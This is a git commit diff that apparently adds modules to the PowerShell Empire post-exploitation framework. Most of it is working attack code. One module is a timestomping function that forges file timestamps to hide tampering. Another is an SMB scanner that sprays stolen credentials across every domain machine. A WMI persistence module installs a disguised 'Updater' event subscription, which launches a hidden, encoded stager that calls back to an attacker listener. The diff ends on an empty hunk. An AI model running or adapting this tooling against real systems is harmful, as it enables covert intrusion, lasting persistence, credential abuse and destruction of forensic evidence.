Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner
parent
d9acb9aa02
commit
2b499a559c
|
@ -1,3 +1,7 @@
|
||||||
|
8/15/2015
|
||||||
|
---------
|
||||||
|
-Added modules management/timestomp, trollsploit/process_killer, persistence/elevated/wmi, situational_awareness/network/smbscanner
|
||||||
|
|
||||||
8/12/2015
|
8/12/2015
|
||||||
--------
|
--------
|
||||||
-Merged in list stale and remove stale functionality
|
-Merged in list stale and remove stale functionality
|
||||||
|
|
|
@ -0,0 +1,108 @@
|
||||||
|
function Set-MacAttribute {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Sets the modified, accessed and created (Mac) attributes for a file based on another file or input.
|
||||||
|
|
||||||
|
PowerSploit Function: Set-MacAttribute
|
||||||
|
Author: Chris Campbell (@obscuresec)
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
Optional Dependencies: None
|
||||||
|
Version: 1.0.0
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Set-MacAttribute sets one or more Mac attributes and returns the new attribute values of the file.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\> Set-MacAttribute -FilePath c:\test\newfile -OldFilePath c:\test\oldfile
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\> Set-MacAttribute -FilePath c:\demo\test.xt -All "01/03/2006 12:12 pm"
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\> Set-MacAttribute -FilePath c:\demo\test.txt -Modified "01/03/2006 12:12 pm" -Accessed "01/03/2006 12:11 pm" -Created "01/03/2006 12:10 pm"
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
http://www.obscuresec.com/2014/05/touch.html
|
||||||
|
|
||||||
|
#>
|
||||||
|
[CmdletBinding(DefaultParameterSetName = 'Touch')]
|
||||||
|
Param (
|
||||||
|
|
||||||
|
[Parameter(Position = 1,Mandatory = $True)]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$FilePath,
|
||||||
|
|
||||||
|
[Parameter(ParameterSetName = 'Touch')]
|
||||||
|
[ValidateNotNullOrEmpty()]
|
||||||
|
[String]
|
||||||
|
$OldFilePath,
|
||||||
|
|
||||||
|
[Parameter(ParameterSetName = 'Individual')]
|
||||||
|
[DateTime]
|
||||||
|
$Modified,
|
||||||
|
|
||||||
|
[Parameter(ParameterSetName = 'Individual')]
|
||||||
|
[DateTime]
|
||||||
|
$Accessed,
|
||||||
|
|
||||||
|
[Parameter(ParameterSetName = 'Individual')]
|
||||||
|
[DateTime]
|
||||||
|
$Created,
|
||||||
|
|
||||||
|
[Parameter(ParameterSetName = 'All')]
|
||||||
|
[DateTime]
|
||||||
|
$AllMacAttributes
|
||||||
|
)
|
||||||
|
|
||||||
|
Set-StrictMode -Version 2.0
|
||||||
|
|
||||||
|
#Helper function that returns an object with the MAC attributes of a file.
|
||||||
|
function Get-MacAttribute {
|
||||||
|
|
||||||
|
param($OldFileName)
|
||||||
|
|
||||||
|
if (!(Test-Path $OldFileName)){Throw "File Not Found"}
|
||||||
|
$FileInfoObject = (Get-Item $OldFileName)
|
||||||
|
|
||||||
|
$ObjectProperties = @{'Modified' = ($FileInfoObject.LastWriteTime);
|
||||||
|
'Accessed' = ($FileInfoObject.LastAccessTime);
|
||||||
|
'Created' = ($FileInfoObject.CreationTime)};
|
||||||
|
$ResultObject = New-Object -TypeName PSObject -Property $ObjectProperties
|
||||||
|
Return $ResultObject
|
||||||
|
}
|
||||||
|
|
||||||
|
#test and set variables
|
||||||
|
if (!(Test-Path $FilePath)){Throw "$FilePath not found"}
|
||||||
|
|
||||||
|
$FileInfoObject = (Get-Item $FilePath)
|
||||||
|
|
||||||
|
if ($PSBoundParameters['AllMacAttributes']){
|
||||||
|
$Modified = $AllMacAttributes
|
||||||
|
$Accessed = $AllMacAttributes
|
||||||
|
$Created = $AllMacAttributes
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($PSBoundParameters['OldFilePath']){
|
||||||
|
|
||||||
|
if (!(Test-Path $OldFilePath)){Write-Error "$OldFilePath not found."}
|
||||||
|
|
||||||
|
$CopyFileMac = (Get-MacAttribute $OldFilePath)
|
||||||
|
$Modified = $CopyFileMac.Modified
|
||||||
|
$Accessed = $CopyFileMac.Accessed
|
||||||
|
$Created = $CopyFileMac.Created
|
||||||
|
}
|
||||||
|
|
||||||
|
if ($Modified) {$FileInfoObject.LastWriteTime = $Modified}
|
||||||
|
if ($Accessed) {$FileInfoObject.LastAccessTime = $Accessed}
|
||||||
|
if ($Created) {$FileInfoObject.CreationTime = $Created}
|
||||||
|
|
||||||
|
Return (Get-MacAttribute $FilePath)
|
||||||
|
}
|
|
@ -0,0 +1,129 @@
|
||||||
|
function Invoke-SMBScanner {
|
||||||
|
<#
|
||||||
|
.SYNOPSIS
|
||||||
|
|
||||||
|
Tests a username/password combination across a number of machines.
|
||||||
|
If no machines are specified, the domain will be queries for active machines.
|
||||||
|
For domain accounts, use the form DOMAIN\username for username specifications.
|
||||||
|
|
||||||
|
Author: Chris Campbell (@obscuresec), mods by @harmj0y
|
||||||
|
License: BSD 3-Clause
|
||||||
|
Required Dependencies: None
|
||||||
|
Optional Dependencies: None
|
||||||
|
Version: 0.1.0
|
||||||
|
|
||||||
|
.DESCRIPTION
|
||||||
|
|
||||||
|
Tests a username/password combination across a number of machines.
|
||||||
|
If no machines are specified, the domain will be queries for active machines.
|
||||||
|
For domain accounts, use the form DOMAIN\username for username specifications.
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\> Invoke-SMBScanner -ComputerName WINDOWS4 -UserName test123 -Password password123456! -Domain
|
||||||
|
|
||||||
|
ComputerName Password Username
|
||||||
|
---- -------- --------
|
||||||
|
WINDOWS4 password123456! test123
|
||||||
|
|
||||||
|
|
||||||
|
.EXAMPLE
|
||||||
|
|
||||||
|
PS C:\> Get-Content 'c:\demo\computers.txt' | Invoke-SMBScanner -UserName dev\\test -Password 'Passsword123456!'
|
||||||
|
|
||||||
|
ComputerName Password Username
|
||||||
|
---- -------- --------
|
||||||
|
WINDOWS3 password123456! dev\\test
|
||||||
|
WINDOWS4 password123456! dev\\test
|
||||||
|
|
||||||
|
...
|
||||||
|
|
||||||
|
|
||||||
|
.LINK
|
||||||
|
|
||||||
|
|
||||||
|
#>
|
||||||
|
|
||||||
|
[CmdletBinding()] Param(
|
||||||
|
[Parameter(Mandatory = $False,ValueFromPipeline=$True)]
|
||||||
|
[String] $ComputerName,
|
||||||
|
|
||||||
|
[parameter(Mandatory = $True)]
|
||||||
|
[String] $UserName,
|
||||||
|
|
||||||
|
[parameter(Mandatory = $True)]
|
||||||
|
[String] $Password,
|
||||||
|
|
||||||
|
[parameter(Mandatory = $False)]
|
||||||
|
[Switch] $NoPing
|
||||||
|
)
|
||||||
|
|
||||||
|
Begin {
|
||||||
|
Set-StrictMode -Version 2
|
||||||
|
#try to load assembly
|
||||||
|
Try {Add-Type -AssemblyName System.DirectoryServices.AccountManagement}
|
||||||
|
Catch {Write-Error $Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage}
|
||||||
|
}
|
||||||
|
|
||||||
|
Process {
|
||||||
|
|
||||||
|
$ComputerNames = @()
|
||||||
|
|
||||||
|
# if no computer names are specified, try to query the current domain
|
||||||
|
if(-not $ComputerName){
|
||||||
|
Write-Verbose "Querying the domain for active machines."
|
||||||
|
"Querying the domain for active machines."
|
||||||
|
|
||||||
|
$ComputerNames = [array] ([adsisearcher]'objectCategory=Computer').Findall() | ForEach {$_.properties.cn}
|
||||||
|
|
||||||
|
Write-Verbose "Retrived $($ComputerNames.Length) systems from the domain."
|
||||||
|
}
|
||||||
|
else {
|
||||||
|
$ComputerNames = @($ComputerName)
|
||||||
|
}
|
||||||
|
|
||||||
|
foreach ($Computer in $ComputerNames){
|
||||||
|
|
||||||
|
Try {
|
||||||
|
|
||||||
|
Write-Verbose "Checking: $Computer"
|
||||||
|
|
||||||
|
$up = $true
|
||||||
|
if(-not $NoPing){
|
||||||
|
$up = Test-Connection -count 1 -Quiet -ComputerName $Computer
|
||||||
|
}
|
||||||
|
if($up){
|
||||||
|
|
||||||
|
if ($Username.contains("\\")) {
|
||||||
|
# if there's a \ in the username, assume we're checking a domain account
|
||||||
|
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Domain
|
||||||
|
}
|
||||||
|
else{
|
||||||
|
# otherwise assume a local account
|
||||||
|
$ContextType = [System.DirectoryServices.AccountManagement.ContextType]::Machine
|
||||||
|
}
|
||||||
|
|
||||||
|
$PrincipalContext = New-Object System.DirectoryServices.AccountManagement.PrincipalContext($ContextType, $Computer)
|
||||||
|
|
||||||
|
$Valid = $PrincipalContext.ValidateCredentials($Username, $Password).ToString()
|
||||||
|
|
||||||
|
If ($Valid) {
|
||||||
|
Write-Verbose "SUCCESS: $Username works with $Password on $Computer"
|
||||||
|
|
||||||
|
$out = new-object psobject
|
||||||
|
$out | add-member Noteproperty 'ComputerName' $Computer
|
||||||
|
$out | add-member Noteproperty 'Username' $Username
|
||||||
|
$out | add-member Noteproperty 'Password' $Password
|
||||||
|
$out
|
||||||
|
}
|
||||||
|
|
||||||
|
Else {
|
||||||
|
Write-Verbose "FAILURE: $Username did not work with $Password on $ComputerName"
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
Catch {Write-Error $($Error[0].ToString() + $Error[0].InvocationInfo.PositionMessage)}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
|
@ -9,7 +9,7 @@ menu loops.
|
||||||
"""
|
"""
|
||||||
|
|
||||||
# make version for Empire
|
# make version for Empire
|
||||||
VERSION = "1.0.0"
|
VERSION = "1.1"
|
||||||
|
|
||||||
|
|
||||||
from pydispatch import dispatcher
|
from pydispatch import dispatcher
|
||||||
|
@ -976,7 +976,6 @@ class AgentsMenu(cmd.Cmd):
|
||||||
print helpers.color("[!] Please enter the minute window for agent checkin.")
|
print helpers.color("[!] Please enter the minute window for agent checkin.")
|
||||||
|
|
||||||
else:
|
else:
|
||||||
print "agent name!"
|
|
||||||
# extract the sessionID and clear the agent tasking
|
# extract the sessionID and clear the agent tasking
|
||||||
sessionID = self.mainMenu.agents.get_agent_id(name)
|
sessionID = self.mainMenu.agents.get_agent_id(name)
|
||||||
|
|
||||||
|
@ -1061,7 +1060,6 @@ class AgentsMenu(cmd.Cmd):
|
||||||
"Tab-complete a clear command"
|
"Tab-complete a clear command"
|
||||||
|
|
||||||
names = self.mainMenu.agents.get_agent_names() + ["all"]
|
names = self.mainMenu.agents.get_agent_names() + ["all"]
|
||||||
|
|
||||||
mline = line.partition(' ')[2]
|
mline = line.partition(' ')[2]
|
||||||
offs = len(mline) - len(text)
|
offs = len(mline) - len(text)
|
||||||
return [s[offs:] for s in names if s.startswith(mline)]
|
return [s[offs:] for s in names if s.startswith(mline)]
|
||||||
|
@ -1070,7 +1068,10 @@ class AgentsMenu(cmd.Cmd):
|
||||||
def complete_remove(self, text, line, begidx, endidx):
|
def complete_remove(self, text, line, begidx, endidx):
|
||||||
"Tab-complete a remove command"
|
"Tab-complete a remove command"
|
||||||
|
|
||||||
return self.complete_clear(text, line, begidx, endidx)
|
names = self.mainMenu.agents.get_agent_names() + ["all", "stale"]
|
||||||
|
mline = line.partition(' ')[2]
|
||||||
|
offs = len(mline) - len(text)
|
||||||
|
return [s[offs:] for s in names if s.startswith(mline)]
|
||||||
|
|
||||||
|
|
||||||
def complete_kill(self, text, line, begidx, endidx):
|
def complete_kill(self, text, line, begidx, endidx):
|
||||||
|
@ -1084,11 +1085,13 @@ class AgentsMenu(cmd.Cmd):
|
||||||
|
|
||||||
return self.complete_clear(text, line, begidx, endidx)
|
return self.complete_clear(text, line, begidx, endidx)
|
||||||
|
|
||||||
|
|
||||||
def complete_lostlimit(self, text, line, begidx, endidx):
|
def complete_lostlimit(self, text, line, begidx, endidx):
|
||||||
"Tab-complete a lostlimit command"
|
"Tab-complete a lostlimit command"
|
||||||
|
|
||||||
return self.complete_clear(text, line, begidx, endidx)
|
return self.complete_clear(text, line, begidx, endidx)
|
||||||
|
|
||||||
|
|
||||||
def complete_killdate(self, text, line, begidx, endidx):
|
def complete_killdate(self, text, line, begidx, endidx):
|
||||||
"Tab-complete a killdate command"
|
"Tab-complete a killdate command"
|
||||||
|
|
||||||
|
|
|
@ -0,0 +1,107 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Timestomp',
|
||||||
|
|
||||||
|
'Author': ['@obscuresec'],
|
||||||
|
|
||||||
|
'Description': ('Executes time-stomp like functionality by '
|
||||||
|
'invoking Set-MacAttribute.'),
|
||||||
|
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : True,
|
||||||
|
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'http://obscuresecurity.blogspot.com/2014/05/touch.html'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'FilePath' : {
|
||||||
|
'Description' : 'File path to modify.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'OldFile' : {
|
||||||
|
'Description' : 'Old file path to clone MAC from.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Modified' : {
|
||||||
|
'Description' : 'Set modified time (01/03/2006 12:12 pm).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Accessed' : {
|
||||||
|
'Description' : 'Set accessed time (01/03/2006 12:12 pm).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Created' : {
|
||||||
|
'Description' : 'Set created time (01/03/2006 12:12 pm).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'All' : {
|
||||||
|
'Description' : 'Set all MAC attributes to value (01/03/2006 12:12 pm).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/management/Set-MacAttribute.ps1"
|
||||||
|
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode
|
||||||
|
|
||||||
|
script += "\nSet-MacAttribute"
|
||||||
|
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
script += " -" + str(option) + " \"" + str(values['Value']) + "\""
|
||||||
|
|
||||||
|
script += "| Out-String"
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,199 @@
|
||||||
|
import os
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-WMI',
|
||||||
|
|
||||||
|
'Author': ['@mattifestation', '@harmj0y'],
|
||||||
|
|
||||||
|
'Description': ('Persist a stager (or script) using a permanent WMI subscription. This has a difficult detection/removal rating.'),
|
||||||
|
|
||||||
|
'Background' : False,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : True,
|
||||||
|
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://github.com/mattifestation/PowerSploit/blob/master/Persistence/Persistence.psm1'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Listener' : {
|
||||||
|
'Description' : 'Listener to use.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'DailyTime' : {
|
||||||
|
'Description' : 'Daily time to trigger the script (HH:mm).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'AtStartup' : {
|
||||||
|
'Description' : 'Switch. Trigger script (within 5 minutes) of system startup.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'True'
|
||||||
|
},
|
||||||
|
'SubName' : {
|
||||||
|
'Description' : 'Name to use for the event subscription.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : 'Updater'
|
||||||
|
},
|
||||||
|
'ExtFile' : {
|
||||||
|
'Description' : 'Use an external file for the payload instead of a stager.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Cleanup' : {
|
||||||
|
'Description' : 'Switch. Cleanup the trigger and any script from specified location.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserAgent' : {
|
||||||
|
'Description' : 'User-agent string to use for the staging request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'Proxy' : {
|
||||||
|
'Description' : 'Proxy to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
},
|
||||||
|
'ProxyCreds' : {
|
||||||
|
'Description' : 'Proxy credentials ([domain\]username:password) to use for request (default, none, or other).',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : 'default'
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
listenerName = self.options['Listener']['Value']
|
||||||
|
|
||||||
|
# trigger options
|
||||||
|
dailyTime = self.options['DailyTime']['Value']
|
||||||
|
atStartup = self.options['AtStartup']['Value']
|
||||||
|
subName = self.options['SubName']['Value']
|
||||||
|
|
||||||
|
# management options
|
||||||
|
extFile = self.options['ExtFile']['Value']
|
||||||
|
cleanup = self.options['Cleanup']['Value']
|
||||||
|
|
||||||
|
# staging options
|
||||||
|
userAgent = self.options['UserAgent']['Value']
|
||||||
|
proxy = self.options['Proxy']['Value']
|
||||||
|
proxyCreds = self.options['ProxyCreds']['Value']
|
||||||
|
|
||||||
|
statusMsg = ""
|
||||||
|
locationString = ""
|
||||||
|
|
||||||
|
if cleanup.lower() == 'true':
|
||||||
|
# commands to remove the WMI filter and subscription
|
||||||
|
script = "Get-WmiObject __eventFilter -namespace root\subscription -filter \"name='"+subName+"'\"| Remove-WmiObject;"
|
||||||
|
script += "Get-WmiObject CommandLineEventConsumer -Namespace root\subscription -filter \"name='"+subName+"'\" | Remove-WmiObject;"
|
||||||
|
script += "Get-WmiObject __FilterToConsumerBinding -Namespace root\subscription | Where-Object { $_.filter -match '"+subName+"'} | Remove-WmiObject;"
|
||||||
|
script += "'WMI persistence removed.'"
|
||||||
|
|
||||||
|
return script
|
||||||
|
|
||||||
|
if extFile != '':
|
||||||
|
# read in an external file as the payload and build a
|
||||||
|
# base64 encoded version as encScript
|
||||||
|
if os.path.exists(extFile):
|
||||||
|
f = open(extFile, 'r')
|
||||||
|
fileData = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
# unicode-base64 encode the script for -enc launching
|
||||||
|
encScript = helpers.enc_powershell(fileData)
|
||||||
|
statusMsg += "using external file " + extFile
|
||||||
|
|
||||||
|
else:
|
||||||
|
print helpers.color("[!] File does not exist: " + extFile)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
else:
|
||||||
|
if listenerName == "":
|
||||||
|
print helpers.color("[!] Either an ExtFile or a Listener must be specified")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# if an external file isn't specified, use a listener
|
||||||
|
elif not self.mainMenu.listeners.is_listener_valid(listenerName):
|
||||||
|
# not a valid listener, return nothing for the script
|
||||||
|
print helpers.color("[!] Invalid listener: " + listenerName)
|
||||||
|
return ""
|
||||||
|
|
||||||
|
else:
|
||||||
|
# generate the PowerShell one-liner with all of the proper options set
|
||||||
|
launcher = self.mainMenu.stagers.generate_launcher(listenerName, encode=True, userAgent=userAgent, proxy=proxy, proxyCreds=proxyCreds)
|
||||||
|
|
||||||
|
encScript = launcher.split(" ")[-1]
|
||||||
|
statusMsg += "using listener " + listenerName
|
||||||
|
|
||||||
|
# sanity check to make sure we haven't exceeded the powershell -enc 8190 char max
|
||||||
|
if len(encScript) > 8190:
|
||||||
|
print helpers.color("[!] Warning: -enc command exceeds the maximum of 8190 characters.")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
# built the command that will be triggered
|
||||||
|
triggerCmd = "$($Env:SystemRoot)\\System32\\WindowsPowerShell\\v1.0\\powershell.exe -NonI -W hidden -enc " + encScript
|
||||||
|
|
||||||
|
if dailyTime != '':
|
||||||
|
|
||||||
|
parts = dailyTime.split(":")
|
||||||
|
|
||||||
|
if len(parts) < 2:
|
||||||
|
print helpers.color("[!] Please use HH:mm format for DailyTime")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
hour = parts[0]
|
||||||
|
minutes = parts[1]
|
||||||
|
|
||||||
|
# create the WMI event filter for a system time
|
||||||
|
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_LocalTime' AND TargetInstance.Hour = "+hour+" AND TargetInstance.Minute= "+minutes+" GROUP WITHIN 60\"};"
|
||||||
|
statusMsg += " WMI subscription daily trigger at " + dailyTime + "."
|
||||||
|
|
||||||
|
else:
|
||||||
|
# create the WMI event filter for OnStartup
|
||||||
|
script = "$Filter=Set-WmiInstance -Class __EventFilter -Namespace \"root\\subscription\" -Arguments @{name='Updater';EventNameSpace='root\CimV2';QueryLanguage=\"WQL\";Query=\"SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System' AND TargetInstance.SystemUpTime >= 240 AND TargetInstance.SystemUpTime < 325\"};"
|
||||||
|
statusMsg += " with OnStartup WMI subsubscription trigger."
|
||||||
|
|
||||||
|
|
||||||
|
# add in the event consumer to launch the encrypted script contents
|
||||||
|
script += "$Consumer=Set-WmiInstance -Namespace \"root\\subscription\" -Class 'CommandLineEventConsumer' -Arguments @{ name='Updater';CommandLineTemplate=\""+triggerCmd+"\";RunInteractively='false'};"
|
||||||
|
|
||||||
|
# bind the filter and event consumer together
|
||||||
|
script += "Set-WmiInstance -Namespace \"root\subscription\" -Class __FilterToConsumerBinding -Arguments @{Filter=$Filter;Consumer=$Consumer} | Out-Null;"
|
||||||
|
|
||||||
|
|
||||||
|
script += "'WMI persistence established "+statusMsg+"'"
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,132 @@
|
||||||
|
from lib.common import helpers
|
||||||
|
|
||||||
|
class Module:
|
||||||
|
|
||||||
|
def __init__(self, mainMenu, params=[]):
|
||||||
|
|
||||||
|
self.info = {
|
||||||
|
'Name': 'Invoke-SMBScanner',
|
||||||
|
|
||||||
|
'Author': ['@obscuresec', '@harmj0y'],
|
||||||
|
|
||||||
|
'Description': ('Tests a username/password combination across a number of machines.'),
|
||||||
|
|
||||||
|
'Background' : True,
|
||||||
|
|
||||||
|
'OutputExtension' : None,
|
||||||
|
|
||||||
|
'NeedsAdmin' : False,
|
||||||
|
|
||||||
|
'OpsecSafe' : False,
|
||||||
|
|
||||||
|
'MinPSVersion' : '2',
|
||||||
|
|
||||||
|
'Comments': [
|
||||||
|
'https://gist.github.com/obscuresec/df5f652c7e7088e2412c'
|
||||||
|
]
|
||||||
|
}
|
||||||
|
|
||||||
|
# any options needed by the module, settable during runtime
|
||||||
|
self.options = {
|
||||||
|
# format:
|
||||||
|
# value_name : {description, required, default_value}
|
||||||
|
'Agent' : {
|
||||||
|
'Description' : 'Agent to run module on.',
|
||||||
|
'Required' : True,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'CredID' : {
|
||||||
|
'Description' : 'CredID from the store to use.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'ComputerName' : {
|
||||||
|
'Description' : 'Comma-separated hostnames to try username/password combinations against. Otherwise enumerate the domain for machines.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'Password' : {
|
||||||
|
'Description' : 'Password to test.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'UserName' : {
|
||||||
|
'Description' : '[domain\]username to test.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
},
|
||||||
|
'NoPing' : {
|
||||||
|
'Description' : 'Switch. Don\'t ping hosts before enumeration.',
|
||||||
|
'Required' : False,
|
||||||
|
'Value' : ''
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
# save off a copy of the mainMenu object to access external functionality
|
||||||
|
# like listeners/agent handlers/etc.
|
||||||
|
self.mainMenu = mainMenu
|
||||||
|
|
||||||
|
for param in params:
|
||||||
|
# parameter format is [Name, Value]
|
||||||
|
option, value = param
|
||||||
|
if option in self.options:
|
||||||
|
self.options[option]['Value'] = value
|
||||||
|
|
||||||
|
|
||||||
|
def generate(self):
|
||||||
|
|
||||||
|
# read in the common module source code
|
||||||
|
moduleSource = self.mainMenu.installPath + "/data/module_source/situational_awareness/network/Invoke-SmbScanner.ps1"
|
||||||
|
|
||||||
|
try:
|
||||||
|
f = open(moduleSource, 'r')
|
||||||
|
except:
|
||||||
|
print helpers.color("[!] Could not read module source path at: " + str(moduleSource))
|
||||||
|
return ""
|
||||||
|
|
||||||
|
moduleCode = f.read()
|
||||||
|
f.close()
|
||||||
|
|
||||||
|
script = moduleCode + "\n"
|
||||||
|
|
||||||
|
# if a credential ID is specified, try to parse
|
||||||
|
credID = self.options["CredID"]['Value']
|
||||||
|
if credID != "":
|
||||||
|
|
||||||
|
if not self.mainMenu.credentials.is_credential_valid(credID):
|
||||||
|
print helpers.color("[!] CredID is invalid!")
|
||||||
|
return ""
|
||||||
|
|
||||||
|
(credID, credType, domainName, userName, password, host, sid, notes) = self.mainMenu.credentials.get_credentials(credID)[0]
|
||||||
|
|
||||||
|
if domainName != "":
|
||||||
|
self.options["UserName"]['Value'] = str(domainName) + "\\" + str(userName)
|
||||||
|
else:
|
||||||
|
self.options["UserName"]['Value'] = str(userName)
|
||||||
|
if password != "":
|
||||||
|
self.options["Password"]['Value'] = password
|
||||||
|
|
||||||
|
|
||||||
|
if self.options["UserName"]['Value'] == "" or self.options["Password"]['Value'] == "":
|
||||||
|
print helpers.color("[!] Username and password must be specified.")
|
||||||
|
|
||||||
|
|
||||||
|
if (self.options['ComputerName']['Value'] != ''):
|
||||||
|
usernames = "\"" + "\",\"".join(self.options['ComputerName']['Value'].split(",")) + "\""
|
||||||
|
script += usernames + " | "
|
||||||
|
|
||||||
|
script += "Invoke-SMBScanner "
|
||||||
|
|
||||||
|
for option,values in self.options.iteritems():
|
||||||
|
if option.lower() != "agent" and option.lower() != "computername" and option.lower() != "credid":
|
||||||
|
if values['Value'] and values['Value'] != '':
|
||||||
|
if values['Value'].lower() == "true":
|
||||||
|
# if we're just adding a switch
|
||||||
|
script += " -" + str(option)
|
||||||
|
else:
|
||||||
|
script += " -" + str(option) + " '" + str(values['Value']) + "'"
|
||||||
|
|
||||||
|
script += "| Out-String | %{$_ + \"`n\"};"
|
||||||
|
script += "'Invoke-SMBScanner completed'"
|
||||||
|
|
||||||
|
return script
|
|
@ -0,0 +1,111 @@
